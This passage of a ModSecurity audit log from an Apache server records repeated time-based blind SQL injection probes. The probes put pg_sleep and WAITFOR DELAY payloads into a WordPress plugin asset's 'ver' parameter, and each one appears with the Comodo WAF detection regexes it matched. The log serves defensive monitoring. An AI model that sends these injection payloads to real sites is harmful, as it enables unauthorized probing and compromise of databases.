?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687');select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88w_kun2jazaBvM9ttsAAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88w_kun2jazaBvM9ttsAAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687');select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88w_kun2jazaBvM9ttsAAAAAE"] Stopwatch: 1750023363264041 7288 (- - -) Stopwatch2: 1750023363264041 7288; combined=5009, p1=377, p2=4393, p3=36, p4=30, p5=172, sr=85, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --37f3a719-Z-- --95e45a67-A-- [16/Jun/2025:03:06:03.779905 +0530] aE88wx-kH31pk4mNbsU-twAAAAo 172.70.246.29 59170 127.0.0.1 7081 --95e45a67-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.246.29 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053365b82cdc6c-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --95e45a67-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --95e45a67-E-- --95e45a67-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';SELECT PG_SLEEP(5) found within MATCHED_VAR: 1749036687';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687';select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';SELECT PG_SLEEP(5) found within MATCHED_VAR: 1749036687';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wx-kH31pk4mNbsU-twAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wx-kH31pk4mNbsU-twAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wx-kH31pk4mNbsU-twAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687';select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wx-kH31pk4mNbsU-twAAAAo"] Stopwatch: 1750023363773881 6109 (- - -) Stopwatch2: 1750023363773881 6109; combined=4062, p1=370, p2=3466, p3=33, p4=25, p5=168, sr=98, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95e45a67-Z-- --21de4f44-A-- [16/Jun/2025:03:06:04.598104 +0530] aE88xHZqyQ8YfVGvJU7YTgAAAAY 172.71.148.180 59208 127.0.0.1 7081 --21de4f44-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.180 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505336adc9ad9d3-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --21de4f44-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --21de4f44-E-- --21de4f44-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687);waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xHZqyQ8YfVGvJU7YTgAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xHZqyQ8YfVGvJU7YTgAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687);waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xHZqyQ8YfVGvJU7YTgAAAAY"] Stopwatch: 1750023364592130 6062 (- - -) Stopwatch2: 1750023364592130 6062; combined=4087, p1=431, p2=3463, p3=33, p4=25, p5=135, sr=124, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21de4f44-Z-- --7ce83c25-A-- [16/Jun/2025:03:06:05.111928 +0530] aE88xVR6EeXjkGzEkblkigAAAAs 172.70.240.62 59260 127.0.0.1 7081 --7ce83c25-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.62 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505336df96d18da-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7ce83c25-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --7ce83c25-E-- --7ce83c25-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687;waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xVR6EeXjkGzEkblkigAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xVR6EeXjkGzEkblkigAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687;waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xVR6EeXjkGzEkblkigAAAAs"] Stopwatch: 1750023365106533 5483 (- - -) Stopwatch2: 1750023365106533 5483; combined=3599, p1=326, p2=3094, p3=30, p4=23, p5=126, sr=78, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7ce83c25-Z-- --64c54c49-A-- [16/Jun/2025:03:06:05.612504 +0530] aE88xXZqyQ8YfVGvJU7YTwAAAAY 172.71.144.105 59294 127.0.0.1 7081 --64c54c49-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.105 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533713930590f-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --64c54c49-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --64c54c49-E-- --64c54c49-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] 